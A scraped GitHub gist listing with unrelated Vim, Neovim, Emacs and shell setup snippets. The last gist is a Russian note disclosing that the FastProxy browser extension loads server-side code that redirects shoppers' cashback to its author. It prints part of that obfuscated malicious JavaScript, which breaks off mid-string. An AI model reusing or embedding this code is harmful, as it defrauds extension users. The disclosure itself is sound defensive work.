Skip to content

Instantly share code, notes, and snippets.

Avatar

Andy Shevchenko ur4ltz

View GitHub Profile
@8bitbuddhist
8bitbuddhist / create-android-display.sh
Last active Aug 27, 2021
Bash script to use an Android device as a second monitor for Linux. See https://blog.8bitbuddhism.com/2019/12/01/how-to-use-your-android-tablet-as-second-monitor/ for detailed instructions.
View create-android-display.sh
#!/bin/bash
# Make sure your Android device is plugged in and accessible over adb.
#### Remember to enable virtual displays in xorg by adding the following to your configuration (e.g. /usr/share/X11/xorg.conf.d/20-virtual.conf)
# Section "Device"
# Identifier "intelgpu0"
# Driver "intel"
# Option "VirtualHeads" "1"
#EndSection
@ur4ltz
ur4ltz / install-vim-8-with-python-ruby-lua-opensuse.sh
Created Nov 11, 2019 — forked from Skrip42/install-vim-8-with-python-ruby-lua-opensuse.sh
Install Vim 8 with Python, Python 3, Ruby (2.5) and Lua support on openSuse
View install-vim-8-with-python-ruby-lua-opensuse.sh
# remove current vim
sudo zypper rm vim vim-runtime vim-gnome vim-tiny vim-gui-common
# removes current link for vim
sudo rm -rf /usr/local/share/vim /usr/bin/vim
# installs everything needed to make/configure/build Vim
sudo zypper in \
lua51-luajit \
lua51-luajit-devel \
View coc-settings.json
{
"suggest.noselect": false,
"coc.preferences.formatOnSaveFiletypes": [
"javascript",
"typescript",
"typescriptreact",
"json",
"javascriptreact",
"typescript.tsx",
"graphql"
View init.vim
" Specify a directory for plugins
call plug#begin('~/.vim/plugged')
Plug 'neoclide/coc.nvim', {'branch': 'release'}
Plug 'scrooloose/nerdtree'
"Plug 'tsony-tsonev/nerdtree-git-plugin'
Plug 'Xuyuanp/nerdtree-git-plugin'
Plug 'tiagofumo/vim-nerdtree-syntax-highlight'
Plug 'ryanoasis/vim-devicons'
Plug 'airblade/vim-gitgutter'
@GoldsteinE
GoldsteinE / colors.vim
Last active Feb 24, 2020
for r/unixporn
View colors.vim
" It's not a real config, but the hi commands from my actual ~/.vimrc
" Base color scheme: https://github.com/gosukiwi/vim-atom-dark
colorscheme atom-dark
hi VertSplit ctermbg=NONE guibg=NONE guifg=#455354
hi CursorLine term=NONE cterm=NONE
hi SpellCap guibg=#383900
hi SpellBad guibg=#661400
hi Pmenu guibg=#2d3135 guifg=#a0d1d9
hi PmenuSel guibg=#818890
hi PmenuSbar guibg=#121315
@Skrip42
Skrip42 / install-vim-8-with-python-ruby-lua-opensuse.sh
Last active Oct 1, 2020 — forked from erickpatrick/install-vim-8-with-python-ruby-lua-ubuntu.sh
Install Vim 8 with Python, Python 3, Ruby (2.5) and Lua support on openSuse
View install-vim-8-with-python-ruby-lua-opensuse.sh
# remove current vim
sudo zypper rm vim vim-runtime vim-gnome vim-tiny vim-gui-common
# removes current link for vim
sudo rm -rf /usr/local/share/vim /usr/bin/vim
sudo zypper addrepo https://download.opensuse.org/repositories/home:ochaton/openSUSE_Tumbleweed/home:ochaton.repo
sudo zypper refresh
# installs everything needed to make/configure/build Vim
@redblobgames
redblobgames / my-modeline.el
Last active Apr 2, 2021
amitp's modeline summer 2019
View my-modeline.el
;; You'll need to have the s and powerline packages installed for this modeline to work
(require 's)
(require 'powerline)
(defvar my/mode-line-border 8)
(defvar my/modeline-height 22)
(set-face-attribute 'mode-line nil :family "M+ 1m" :height 120
:background "gray20" :foreground "white"
:weight 'normal
View .vimrc
let perl_sub_signatures = 1
set modeline
set incsearch
set encoding=utf-8
set splitbelow
set backspace=indent,eol,start
set updatetime=100
set wildmenu
filetype plugin indent on
let mapleader = ' '
@samoshkin
samoshkin / vimrc-merge.vim
Created May 7, 2019
Test vimrc configuration to turn Vim into a mergetool
View vimrc-merge.vim
set nocompatible
filetype plugin indent on
set tabstop=2 softtabstop=2 shiftwidth=2 expandtab
set number
set hidden
set splitbelow
set splitright
View gist:1f1c71d6eead35a33a57099c26923bee
Браузерное расширение FastProxy загружает с сервера вредоносный код,
перенаправляющий cashback от различных интернет-магазинов автору расширения.
Обфусцированный код:
$guNnnrhIFAMI27BsMFv=function(a){return"string"==typeof $guNnnrhIFAMI27BsMFv.list[a]?$guNnnrhIFAMI27BsMFv.list[a].split("").reverse().join(""):$guNnnrhIFAMI27BsMFv.list[a]},$guNnnrhIFAMI27BsMFv.list=["of\xE6\xFBiht\xFBlru?lxp\xFBepyt\x04u\xDFv?di_txe?re\xECh?htgnel?rekram?\xB7\x04cna\xE6f?urdj\x04man?omorpi\xDF?g\xE6kc\xF4b?tnemucod?urdj\xAB\xD0l\xABapc\xFB\xECl?\xBFH\xC3?g\xE6r\xD1bus?ofnIegnahc?\xEB\x04doNtnerap?\x0FTtes?fOxednI\xD1al\x04saCrewoLot\x04tadpu?\xF4\xC8c\xAB\xC1\xDE\xABaz\x03\xAB\x0FTraelc?\x7Far\xD1ig","\xAEX\xAD*' [:_a\x1F{\xBCV(2\xCD\xF3T\xD4\x1F}\xC9)0005\xBC}\xA6V(\xD3\xDB\xCD\xA63(va\xBE\x06\x1F ;)1\xBCi(ec\x1CT\xA5's\x7Fpo-\xC0-x\xF2Va\xD6(\xE8T\xCAVa\xE7=>i ;1-U\xB5T=\x0E1a\xCAT\xD8\xA51\x17V C\xA5( P\xDD\xC9}\xA3\x1F}\xA6a\xB2Z\xA9Z\xC2Sa-8<Sa-8\xB0x\xB2pa\xA9pa\xC28-\xDE<8-\xDE\xB0d\xB24\xA94\xC2Ra-mh<Ra-mh\xB0